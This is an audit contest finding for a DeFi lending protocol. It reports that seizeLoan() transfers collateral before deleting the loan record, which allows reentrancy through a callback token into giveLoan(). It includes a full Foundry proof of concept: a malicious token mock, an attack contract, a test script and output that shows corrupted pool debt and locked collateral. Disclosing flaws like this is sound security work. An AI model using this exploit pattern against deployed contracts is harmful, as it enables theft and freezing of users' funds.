20,000 USDC
View results
Submission Details
Severity: high
Valid

Lender of pool-A cause inconsistency in other pool loans

Summary

In seize(), Before deleting loan details IERC20(loan.collateralToken).transfer(loan.lender, collateral) is triggered which can lead to exploits if the token is a token that gives control to the sender, like ERC777 tokens. If attacker (loan.lender) later find matching pool and trigger giveLoan() as loan details are not deleted and no check is implemented to check if it is set for auction.

Vulnerability Details

Loan details are deleted only after transferring the tokens, attacker can call giveLoan() with some matching poolld and cause inconsistency in outstandingLoans and lock borrowers collateral.

function seizeLoan(uint256[] calldata loanIds) public {
.
.
.
IERC20(loan.collateralToken).transfer(
loan.lender,
loan.collateral - govFee
);
.
.
// update the pool outstanding loans
pools[poolId].outstandingLoans -= loan.debt;
.
.
.
// delete the loan
delete loans[loanId];
}
}

Proof of Concept

Test test_seizeLoan_to_giveLoan will demonstrate the following flow

  1. Attacker creates a pool with 10000 tkn. 3 Borrowers lended 100 loan tkn each depositing 100 collateral tkn.

  2. loan[0] is set to acution and it got to seize. Attacker later finds a matching pool.

  3. seize(loanIds) is called and (collateral -fee) tkns are sent to attacker. Suppose (100 - 5) = 95 collateral tkns transfered to lender.

  4. Attacker calls giveLoan(uint256[] loanIds, bytes32[] poolIds)

  5. This updates new and old pools poolBalance and outstandingLoan

  6. Debt is deduced twice in oldpool.

  7. Loan gets deleted. New pool shows outstanding debt with no loan in state.

  8. Collateral locked by lender permanently as loan doesn't exist to repay.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "openzeppelin/token/ERC20/ERC20.sol";
import "../../src/utils/Structs.sol";
import {Lender} from "../../src/Lender.sol";
contract TERC20 is ERC20("collateralToken", "ct") {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
interface IERC20WithCallback {
function beforeTokenTransfer (address to, uint256 amount) external;
}
contract ERC777 is ERC20("loanToken", "lt") {
function mint(address account, uint256 amount) external returns(bool) {
_mint(account, amount);
return true;
}
function burnFrom(address account, uint256 amount) external returns(bool) {
_burn(account, amount);
return true;
}
function transfer(address to, uint256 amount) public virtual override returns (bool)
{
_beforeTokenTransfer(to, amount);
return super.transfer(to, amount);
}
function isContract(address addr) public view returns(bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function _beforeTokenTransfer(address to, uint256 amount) internal {
if(isContract(to)) {
IERC20WithCallback(to).beforeTokenTransfer(to, amount);
}
}
}
contract LenderMock is IERC20WithCallback {
Lender public lender;
event receivedFee(address, uint256);
function setLender() public returns(Lender) {
return new Lender();
}
function beforeTokenTransfer(address to, uint256 amount) external {
emit receivedFee(to, amount);
}
}
contract AttackContract_2 is IERC20WithCallback {
uint256[] loanIds;
address public lender;
address public token;
address public collateral;
uint256 amountReceived;
bytes32 public poolId;
bytes32[] public poolIds;
uint256 debt;
uint256 cnt;
function setup(address _lender, address _token, address _collateral, uint256[] calldata _loanIds, bytes32[] calldata _poolIds) public {
loanIds = _loanIds;
poolIds = _poolIds;
lender = _lender;
token = _token;
collateral = _collateral;
(address pool_lender,,address pool_loanToken, address pool_collateralToken, uint256 _debt,,,,,) = Lender(_lender).loans(_loanIds[0]);
debt = _debt;
poolId = Lender(lender).getPoolId(pool_lender, pool_loanToken, pool_collateralToken);
}
function beforeTokenTransfer(address to, uint256 amount) external {
Lender(lender).giveLoan(loanIds, poolIds);
}
}

Add this to tests/SeizeLoanToGiveLoan.t.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "./mock/SeizeAttackMock.sol";
contract SeizeLoanToGiveLoan is Test {
AttackContract_2 public attack_2_Contract = new AttackContract_2();
Lender public lender;
TERC20 public loanToken;
ERC777 public collateralToken;
address public attack_2_Address = address(attack_2_Contract);
address public lender2 = address(0x2);
address public borrower = address(0x5);
address public borrower1 = address(0x6);
address public borrower2 = address(0x7);
function setUp() public {
LenderMock lenderMock = new LenderMock();
lender = lenderMock.setLender();
loanToken = new TERC20();
collateralToken = new ERC777();
loanToken.mint(attack_2_Address, 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
//collateralToken.mint(address(lender), 100000*10**18);
collateralToken.mint(address(borrower), 100000*10**18);
collateralToken.mint(address(borrower1), 100000*10**18);
collateralToken.mint(address(borrower2), 100000*10**18);
vm.startPrank(attack_2_Address);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
}
function test_set_and_borrow(address _lender, address _borrower) public returns(bytes32) {
// set pool as lender 1
bytes32 poolId = test_setPool(_lender);
test_borrow(poolId, _borrower);
return poolId;
}
function test_setPool(address _lender) public returns(bytes32 poolId) {
vm.startPrank(_lender);
Pool memory p = Pool({
lender: _lender,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*1e18,
poolBalance: 10000*1e18,
maxLoanRatio: 2*1e18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
return lender.setPool(p);
}
function test_borrow(bytes32 _poolId, address _borrower) public {
vm.startPrank(_borrower);
Borrow memory b = Borrow({
poolId: _poolId,
debt: 100*1e18,
collateral: 100*1e18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
}
function test_seizeLoan_to_giveLoan() public {
bytes32 poolId = test_set_and_borrow(attack_2_Address, borrower);
test_borrow(poolId, borrower1);
test_borrow(poolId, borrower2);
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(attack_2_Address);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.warp(block.timestamp + 2 days);
// setUp another pool
bytes32 newPoolId = test_setPool(lender2);
bytes32[] memory poolIds = new bytes32[](1);
poolIds[0] = keccak256(
abi.encode(
address(lender2),
address(loanToken),
address(collateralToken)
)
);
attack_2_Contract.setup(address(lender), address(loanToken), address(collateralToken), loanIds, poolIds);
// Debug -----------------------------------------------------------------
(,,,, uint256 _pb2,,,, uint256 _ol2) = lender.pools(poolId);
(,,,, uint256 _pb,,,, uint256 _ol) = lender.pools(newPoolId);
emit log_string("Before Attack: ");
emit log_string("///////////////////////////////////////");
emit log_named_decimal_uint("Old Pool Balance: ", _pb2, 18);
emit log_named_decimal_uint("New Pool Balance: ", _pb, 18);
emit log_named_decimal_uint("Old Pool outstanding debt: ", _ol2, 18);
emit log_named_decimal_uint("new Pool outstanding debt: ", _ol, 18);
emit log_string("");
// -----------------------------------------------------------------------
lender.seizeLoan(loanIds);
// Debug -----------------------------------------------------------------
(,,,, uint256 pb2,,,, uint256 ol2) = lender.pools(poolId);
(,,,, uint256 pb,,,, uint256 ol) = lender.pools(newPoolId);
emit log_string("Before Attack: ");
emit log_string("///////////////////////////////////////");
emit log_named_decimal_uint("Old Pool Balance: ", pb2, 18);
emit log_named_decimal_uint("New Pool Balance: ", pb, 18);
emit log_named_decimal_uint("Old Pool outstanding debt: ", ol2, 18);
emit log_named_decimal_uint("new Pool outstanding debt: ", ol, 18);
emit log_string("");
// -----------------------------------------------------------------------
}
}

Run tests with command forge test --match-path test/SeizeLoanToGiveLoan.t.sol -vv

Expected Output:

[PASS] test_seizeLoan_to_giveLoan() (gas: 1527410) // Attack#2
Logs:
Before Attack:
///////////////////////////////////////
Old Pool Balance: : 9700.000000000000000000
New Pool Balance: : 10000.000000000000000000
Old Pool outstanding debt: : 300.000000000000000000
new Pool outstanding debt: : 0.000000000000000000
Before Attack:
///////////////////////////////////////
Old Pool Balance: : 9809.036986301369863014
New Pool Balance: : 9889.958904109589041096
Old Pool outstanding debt: : 100.000000000000000000
new Pool outstanding debt: : 110.041095890410958904

Impact

Loan is deleted after loan transferred to other pool causes inconsistent state in pool data.
Loan can't be repaid by borrower as funds by borrower are seized by attacker before it is set to auction.

Tools Used

Manual code review, Foundry

Recommendations

Use reentrancyGaurd or strictly follow Checks Effects Interactions pattern by deleting loan details prior transfer of tokens.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.